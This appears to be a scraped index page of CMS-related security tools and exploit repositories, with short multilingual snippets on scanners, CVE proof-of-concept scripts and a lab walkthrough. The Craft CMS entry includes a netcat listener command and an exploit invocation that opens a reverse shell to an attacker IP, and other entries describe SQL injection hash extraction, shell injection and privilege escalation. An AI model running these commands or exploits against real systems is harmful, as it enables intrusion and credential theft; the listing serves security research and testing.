CMSsc4n

CMSsc4n 用于识别域名是否包含CMS并确定其版本的工具。 目前，CMSsc4n 支持的CMS包括 WordPress、Moodle、Joomla、Drupal 和 Prestashop。 安装 您可以通过克隆 GitHub 仓库来下载最新版本的 CMSsc4n： root@kitploit: git clone https://github.com/n4xh4ck5/CMSsc4n.git 通过 pip 安装依赖： root@kitploit: pip install -r requirements.txt 用法 root@kitploit: python cmssc4n.py -...

comission

CoMisSion - 白盒CMS分析 CoMisSion 是一个用于快速分析 CMS 配置的工具。该工具： 检查核心版本； 将核心文件与从 CMS 官方网站下载的新鲜压缩包进行比较，检查对核心的修改（新增、修改、删除）； 查找最新的核心版本； 查找使用的核心版本中的漏洞（仅 WordPress）； 检查插件和主题的版本； 将每个插件和每个主题文件与从 CMS 官方网站下载的新鲜压缩包进行比较，检查修改（新增、修改、删除）； 查找使用的插件和主题版本中的漏洞。 🔥 注意：CoMisSion 不通过分析源代码来寻找漏洞。漏洞信息来自公共数据库，如 wpvulndb。发现新漏洞不是...

nuubi

Nuubi Tools Scanner, Recon. Details root@kitploit: Options: -h/--help | Show help message and exit Arguments: -b/--banner | Banner grabing of target ip address -s/--subnet | Subnetlookup of target -c/--cms | Cms detect with headers -d/--dns | Dnslookup of target domain -e/--extract | Extract link...

Composr-CMS-10.0.13-Cross-Site-Scripting-XSS

Composr-CMS-10.0.13-Cross-Site-Scripting-XSS Composr CMS 10.0.13 Cross Site ScriptingXSS Número CVE asignado: CVE-2018-6518...

vulnx

VulnX Vulnx 🕷️ is An Intelligent Bot Auto Shell Injector that detects vulnerabilities in multiple types of Cms...

vulnx

VulnX Vulnx 🕷️ 是一个智能机器人自动Shell注入器，能够检测多种类型CMS的漏洞...

vulmap

🌟 Vulmap - Web vulnerability scanning and verification tools Click here for the English Version Vulmap is a web vulnerability scanning and verification tool. It can scan and exploit vulnerabilities in webapps. Currently supported webapps include activemq, flink, shiro, solr, struts2, tomcat, unom...

CVE-2019-9053-POC

CMS Made Simple ⚠️ 免责声明： 此脚本仅供教育和授权测试 使用。请勿将其用于你不拥有或未获得明确测试许可的系统。作者和贡献者不对因使用本工具造成的任何滥用或损害负责。 🎯 这是什么？ 这是一个 Python 3 利用脚本，针对版本低于 2.2.10 的 CMS Made Simple 中的未认证 SQL 注入漏洞 。它利用基于时间的盲 SQL 注入自动从易受攻击的 CMS 实例中提取敏感信息（盐值、用户名、邮箱、密码哈希）。 🕹️ 功能 提取管理员盐值、用户名、邮箱和密码哈希 可选使用提供的字典文件进行密码破解 色彩丰富、交互式的终端输出 完全兼容 Python 3 📚...

CVE-2021-38817-Remote-OS-Command-Injection

CVE-2021-38817-Inyección-remota-de-comandos-del-SO Inyección remota de comandos del sistema operativo autenticada/Ejecución remota de código en la parte web Sendmail de TastyIgniter v3.0.7 CVE-2021-38817 Existe una vulnerabilidad de inyección remota de comandos del sistema operativo autenticada e...

Craft-CMS-Exploit

此 Python 脚本利用了 Craft CMS（一款流行的内容管理系统）的远程代码执行漏洞（CVE-2023-41892）。受影响版本为 4.0.0-RC1 至 4.4.14，允许攻击者远程执行任意代码，例如 PHP 反向 Shell。 使用方法 首先在另一个 shell 中启动 netcat 监听器： nc -nlvp 1234 然后检查您的 IP 地址并运行漏洞利用程序： python3 exploit.py -r 10.10.16.47 -p 1234 http://surveillance.htb 祝您使用全新的反向 Shell 愉快地进行渗透！ 免责声明...

CVE-2023-23752-Joomla

CVE-2023-23752-Joomla 免责声明： 本网络安全工具仅用于提供技术支持，不涉及任何应用或商业行为。用户在使用本网络安全工具的过程中，不得以任何方式损害他人的合法权益。 该工具的运行仅依赖用户提供的信息，并不包括任何违反相关法律法规的内容。用户在使用本网络安全工具时，必须确保其提供的信息合法、有效、真实可靠，否则可能会产生不利后果。 本软件提供的服务仅供参考，不构成任何责任。用户在使用本网络安全工具时，应自行承担有关安全风险。我们并不对使用者使用本工具所涉及的任何技术服务承担任何义务或责任，无论此类技术服务是否有任何损失和/或损害。 介绍： Joomla 未授权访问漏洞...

CVE-2026-39275

CVE-2026-39275 - Stored XSS Leading to Account Takeover in Cockpit CMS Note: Responsibly disclosed to and patched by the Cockpit CMS maintainers prior to publication...

CVE-2022-26159-Ametys-Autocompletion-XML

CVE-2022-26159-Ametys-Autocompletion-XML Un exploit en Python para volcar automáticamente todos los datos almacenados por el plugin de autocompletado de Ametys CMS en un archivo de base de datos sqlite local. Features Detección automática del número máximo de resultados devueltos por el plugin de...

CVE-2025-25062

CVE-2025-25062 描述 使用方法 示例 时间线 描述 在 Backdrop CMS 1.29.2 的帖子编辑页面中存在一个存储型跨站脚本 XSS 漏洞。该脚本将此漏洞与 CSRF 载荷相结合，实现从“编辑者”角色到“管理员”角色的权限提升。 相关链接： https://vulners.com/cve/CVE-2025-25062 https://backdropcms.org/security/backdrop-sa-core-2025-001 使用方法 root@kitploit: usage: CVE-2025-25062.py -h -u BACKDROPURL...

CVE-2023-40028

CVE-2023-4002 Ghost-任意文件读取 ：目标 Ghost CMS 的用户名/电子邮件。 --password ：目标 Ghost CMS 的密码。 --url ：目标 Ghost CMS 的 URL（例如 http://website.com）。 1. 登录：脚本通过 Ghost CMS 管理员 API 进行身份验证，并获取会话 Cookie。 2. 交互式 Shell：登录后，脚本会提示输入要从服务器读取的文件路径。 Shell 示例： 参考 CVE-2023-40028 1。 CVE-2023-40028 2。 免责声明 此脚本仅供教育用途。...

Exfiltrated-Machine-Walkthrough---Subrion-CMS-CVE-2021-2220-

Recorrido de la máquina Exfiltrated - Subrion CMS-CVE-2021-2220 - Ver Exfiltrated.pdf Laboratorio: https://portal.offsec.com/machine/exfiltrated-17398/overview/details Nombre del laboratorio: Exfiltrated Banderas: 2...

CVE-2025-60574

漏洞发现者与漏洞利用作者 Stefano Andreatta & Jacopo Candido Augelli CVE-2025-60574 漏洞描述 已在 tQuadra CMS 4.2.1117 中发现一个本地文件包含（LFI）漏洞。该问题存在于 "/styles/" 路径中，该路径未能正确清理用户提供的输入。攻击者可以通过发送精心构造的 GET 请求，从底层系统中检索任意文件。 发现者：Stefano Andreatta & Jacopo Candido Augelli CVSS 3.1 - 7.5 高危 root@kitploit:...

CVE-2025-63589

CVE-2025-63589 XSS Reflejado en el manejo de rutas de index.php de CMSimpleXH Descubierto: 6 de octubre de 2025 Productos: CMSimpleXH CMS de archivo plano de código abierto Versiones afectadas: 1.8 CVEs: CVE-2025-63589 Autenticación requerida: Ninguna sin autenticar Tipo de ataque: Cross-Site...

Kentico - Installer Privilege Escalation

Kentico 9.0 before 9.0.51 and 10.0 before 10.0.48 are susceptible to a privilege escalation attack. An attacker can obtain Global Administrator access by visiting CMSInstall/install.aspx and then navigating to the CMS Administration Dashboard. id: CVE-2017-17736 info: name: Kentico - Installer...

Ghost CMS Content API - SQL Injection

Ghost CMS before 6.19.1 is vulnerable to a blind SQL injection in the /ghost/api/content/tags/ endpoint via the filter parameter. This template checks for the vulnerability by sending a boolean-based payload. id: CVE-2026-26980 info: name: Ghost CMS Content API - SQL Injection author:...